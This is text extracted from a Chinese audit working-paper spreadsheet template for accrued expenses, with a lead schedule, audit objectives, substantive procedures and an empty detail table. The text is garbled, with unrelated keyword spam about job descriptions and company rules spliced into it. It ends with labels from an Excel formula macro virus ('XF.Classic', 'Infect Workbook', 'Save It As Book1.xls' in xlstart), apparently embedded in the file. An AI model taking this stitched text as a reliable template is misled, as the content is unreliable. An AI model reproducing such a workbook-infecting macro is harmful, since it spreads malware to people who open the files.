编号科目名称工作底稿名称索引号1预提费用导引表5570被审计单位：编制人：日期：2预提费用程序表5570-0财务报表截止日/期间：复核人：日期：3预提费用明细表5570-14预提费用其他程序5570-5预提费用其他程序5570-&"Arial,常规"&102013.08被审计单位：索引号：5570页次：项目：预提费用导引表编制人：0.00日期：星期日,十二月31,1899财务报表截止日/期间：复核人：0.00日期：星期日,十二月31,1899项目【按明细科目列示】期初余额期末余额变动比例索引号调整前审计调整调整后00.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-100.00.00.00.00.00%5570-1合计0.00.00.00.00.00%审计
说明
关于失联党员情况说明岗位说明总经理岗位说明书会计岗位说明书行政主管岗位说明书
:审计结论:1、经审计，该项目未发现重大异常2、经审计调整后，该项目未发现重大异常3、因原因，该项目余额不能确认编制说明：1、导引表项目明细应随明细表同步变动，需要加行的请在第24行之前加行，合计行勿动。2、“审计说明”至少需要说明该科目核算
内容
财务内部控制制度的内容财务内部控制制度的内容人员招聘与配置的内容项目成本控制的内容消防安全演练内容
、增减变动的主要原因、确定该科目审计程序的理由。&"Arial,常规"&102013.08被审计单位：索引号：5570-0页次：项目：预提费用实质性程序编制人：0.00日期：星期日,十二月31,1899财务报表截止日/期间：复核人：0.00日期：星期日,十二月31,1899审计目标财务报表认定存在完整性权利和义务计价和分摊列报A资产负债表中
记录
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的预提费用是存在的。√B所有应当记录的预提费用均已记录。√C记录的预提费用由被审计单位拥有或控制。√D预提费用以恰当的金额包括在财务报表中，与之相关的计价调整已恰当记录。√E预提费用已按照企业会计准则的规定在财务报表中作出恰当列报。√
计划
项目进度计划表范例计划下载计划下载计划下载课程教学计划下载
实施的实质性程序审计目标序号实质性程序是否执行索引号存在完整性权利和义务计价和分摊列报D1获取或编制预提费用明细表，复核加计是否正确，并与报表数、总账数和明细账合计数核对是否相符。√BD2对预提费用期末余额进行分析性复核，比较本期与上期期末项目，检查大额、异常项目变动原因，必要时作调整。√√ACD3抽取大额预提费用发生的记账及相关文件、资料，以查核其发生的依据和预提的数额是否正确；特别要注意是否利用预提费用故意多提或少提以调节成本、利润的问题。√√√A4结合期后付款测试，审核预提费用期后结算事项，查明大额异常项目变动原因，必要时作调整。√AD5抽查大额预提费用转销的记账凭证及相关文件资料是否齐全，其会计处理是否正确。√√A6检查有无不属于预提费用性质的会计事项，有无超过1年尚未结清的预提费用。如有，应查明原因并作出记录，分析其是否合理，必要是作适当调整。√E7检查预提费用是否已按照企业会计
制度
关于办公室下班关闭电源制度矿山事故隐患举报和奖励制度制度下载人事管理制度doc盘点制度下载
的规定在财务报表中作出恰当的列报。√&"Arial,常规"&102013.08被审计单位：索引号：5570-1页次：项目：预提费用明细表编制人：0.00日期：星期日,十二月31,1899财务报表截止日/期间：复核人：0.00日期：星期日,十二月31,1899项目【按明细科目列示】业务内容计提依据期初余额借方发生数贷方发生数期末余额调整前变动比例调整后变动比例备注调整前审计调整调整后金额索引号0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%0.00.00.00%0.00%合计0.00.00.00.00.00.00.00%0.00%注释：&"Arial,常规"&102013.085570预提费用通用表格.xlsBook1C:\ProgramFiles\MicrosoftOffice\OFFICE11\xlstart\Book1.**AutoandOnSheetStartsHere**3Classic.PoppybyVicodinESWithLordNatasAnExcelFormulaMacroVirus(XF.Classic)Hydrocodone/APAP10-650ForYourComputer(C)TheNarkoticNetwork1998**SimplePayload****SetOurValuesandPaths****AddNewWorkbook,InfectIt,SaveItAsBook1.xls****InfectWorkbook**
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